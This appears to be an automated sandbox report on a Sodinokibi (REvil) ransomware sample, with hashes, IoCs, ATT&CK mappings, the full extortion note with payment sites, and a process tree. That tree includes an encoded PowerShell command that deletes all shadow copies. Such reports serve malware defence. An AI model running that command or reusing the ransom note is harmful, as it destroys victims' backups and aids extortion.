sodinokibi | 78a28b25b330513649439305a5d9293cb07fb796ad6521ef31f39a5453a549d8

Resubmissions

07-09-2023 14:45

230907-r45fysaf5s 10

07-09-2023 14:12

230907-rjbyxaad5s 10

Analysis

max time kernel
153s
max time network
169s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
07-09-2023 14:12

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General

Target

6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
Size

165KB
MD5

1701c19d9610ee4be543815bff908281
SHA1

44821ddb87e0260ee8ba368e08c75b0ad3232923
SHA256

6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20
SHA512

6794cb5b710b5165dfb59a6dcecff7776dce69b452b82e51dd9d35ec951e15febe9d71ceedc7ea91845b0d6e8c4214e7c07935dd2c8dd6f5c372e35971eed5ae
SSDEEP

3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NabPos:lw02sJPi7O93N9s

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\46nq28a1y-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 46nq28a1y. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/92E721391799B020 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/92E721391799B020 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 2odI4YXUoImYYq//TjI7VlsGNOX5QrZ+NFxJMkRvqVZSogt5kN1thqNyKx1vvBpb vqwofNQUjS3gjrnSH0Qbb8mc6SlOtXpiLnBdAVly+li6SWNClQoXdiZLpvAiD0q5 W37QlMbMV/KHcFHUbEtyfSIo764O09+FIhhTeJqx+JJbu6wmDOprUR2VNBJOKA9h TQP5MaFWYEa6khC2RwmSRPQvJLoft9xEF4/cXvbuuP0IOgUMHKlRMAIzyMH/jmur dU3pj1zvIhTrJFEu6fJXcWYYufstXYEFS3vw5FLbGHFn3o/qkqqhMFQUcEFddnR0 5BY9l4Ei001vZtaoohluwxqz+gqH31Yb5trsXWfxBmkSaQotLeRyJyk7J8rOJdOI puHQIc50QFKNEF/zzNUxXrlUBzfUNszDyBsgtuZAxGV9YyjLz4GG3weDdC6ZAT0h ZJ7hXQngngvpSiGFn03EiXAGWqWP58bwd37z817Nf5sawXQdPTQM9QMDYsIhuoKq 4dqgCzZi8NadIWX9N+rm19mVdovKB46yLWwAvFCf7w1kF3XQq/3FIcg8LNEIC1v7 sOvYbqFI24M4A6xJ8w0fQP/LywEEoN27g/ZWVuTIsU69iV51jWQPDGpm1489LibF 9IPS+Q7cPCGg0Xs1M5ZowCBEUlvqVcGhJhdbCUkH3itL8JxzEHGGQ42U2izNQKLA xeFcpctadx4vRB0wuyZC/4iOe70WUWKtkyhjyc54KT+0YIZjuQkgB+D2DXE1f5wt zbbDv/AZ15M5aOifR6GbsGqodtRpGxjiupxZwhLnrNLFgMuwXoX1EazWxK4p4ATr C0zZCSSaj9s8/YoldZ+aOvzDxMevjgO5AJpRJNd4ODvGe2NdcOIEng91DwLY8Erg tQl+XPTsTrWzyoRamNfhCBHa/3LGLlvVC6mHMvzmUVKRsBS7ub/VYyurOmdmlzsH /u+I7WzKfDfFvytqx2AmAeHLWCSJ0muU6PxH6N7rfy8N2VqhBb/ja0woAuZjybU0 uKpGS52JwUejgUo3qyHi/9khr+ejZcNhjQokmkIUsLmga4t5MWdJAVhDI1Q4Otod S1TAaOl03Xn9H2z0mz4YBUGlaqucUZxkwkyN8IdYkOLtu4MFp9LvRJPEddi2d3SF 1EQxZw00RWuDNT8Oh+NOp9CQadiXlRonIyT5zOIcC0kxXcVqJ+TsIhRvL4JHRXd2 zTIPmGaRolXocv1kGWI= Extension name: 46nq28a1y ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/92E721391799B020

http://decryptor.top/92E721391799B020

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L2mKLMcNmB = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe"	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\L:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\Q:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\T:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\V:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\A:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\I:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\O:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\S:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\F:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\E:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\M:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\P:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\U:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\W:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\Y:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\Z:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\D:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\G:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\N:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\J:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\R:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\X:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\B:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened (read-only)	\??\H:	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\nvd68k.bmp"	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Drops file in Program Files directory 30 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\EnterStop.crw	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\GetRead.nfo	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\HideGrant.vsx	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\InvokeMeasure.dib	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File created	\??\c:\program files (x86)\46nq28a1y-readme.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\InstallGrant.dib	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\NewCompare.mpp	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\CheckpointUnlock.htm	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\JoinEdit.3gpp	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\PingDeny.vbe	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SaveLimit.wmx	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\TraceSend.php	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\UnlockOut.xls	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\StepHide.gif	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SubmitJoin.7z	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\WriteShow.mp3	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File created	\??\c:\program files\46nq28a1y-readme.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\DismountRestore.potx	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SkipRestore.emz	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\46nq28a1y-readme.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\ExitReceive.mpe	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\PingClear.html	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\PopRead.xltx	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SuspendClose.xps	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SuspendInstall.wmf	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\SwitchSubmit.3gp	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\LimitReset.temp	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\46nq28a1y-readme.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File opened for modification	\??\c:\program files\CheckpointProtect.DVR	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\46nq28a1y-readme.txt	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1724	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeBackupPrivilege	2728	vssvc.exe
Token: SeRestorePrivilege	2728	vssvc.exe
Token: SeAuditPrivilege	2728	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 2528	1724	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe	27
PID 1724 wrote to memory of 2528	1724	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe	27
PID 1724 wrote to memory of 2528	1724	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe	27
PID 1724 wrote to memory of 2528	1724	6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe	27

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe
"C:\Users\Admin\AppData\Local\Temp\6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\46nq28a1y-readme.txt

Filesize
6KB

MD5
a6fc205ed1e8cfc40d1309a387188e06

SHA1
6960ee4f4512ddd3072c5eba07c4b5743d5476d5

SHA256
2c4d8890655371c9e83dff84c1caabfbe5b7e4473ab2664cd345e704560cf76a

SHA512
132d2a44e025199916dc2e93ac8e9e0d0eaafc643c546510edd0b4e72aa2a2b2158c1d9151e2577386624cf0b2a23c06a3305ffac746bc66f66ebd4439a8dc0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabCB0.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarD10.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
194KB

MD5
d35b3ca3abefb8578ed8ae2e443e99c9

SHA1
d6345e6aa6458cb5c1667b81829f7dc5de8edb24

SHA256
015cf3ce19000596358d85310643ea916ac50c97bd7771e8be25ebb712fe279f

SHA512
a73453492916222789b939db90dab6384ab49feda9b731eb75fb3d2c238b37f4aaee5fd4e5d9c2f0bdfd84f5c2d97c8d6da7cc199a79e7787911a9aeb82871da

Download Submit
memory/2528-12-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-15-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-11-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-4-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2528-13-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-14-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-9-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-16-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-17-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-8-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-7-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2528-6-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-5-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download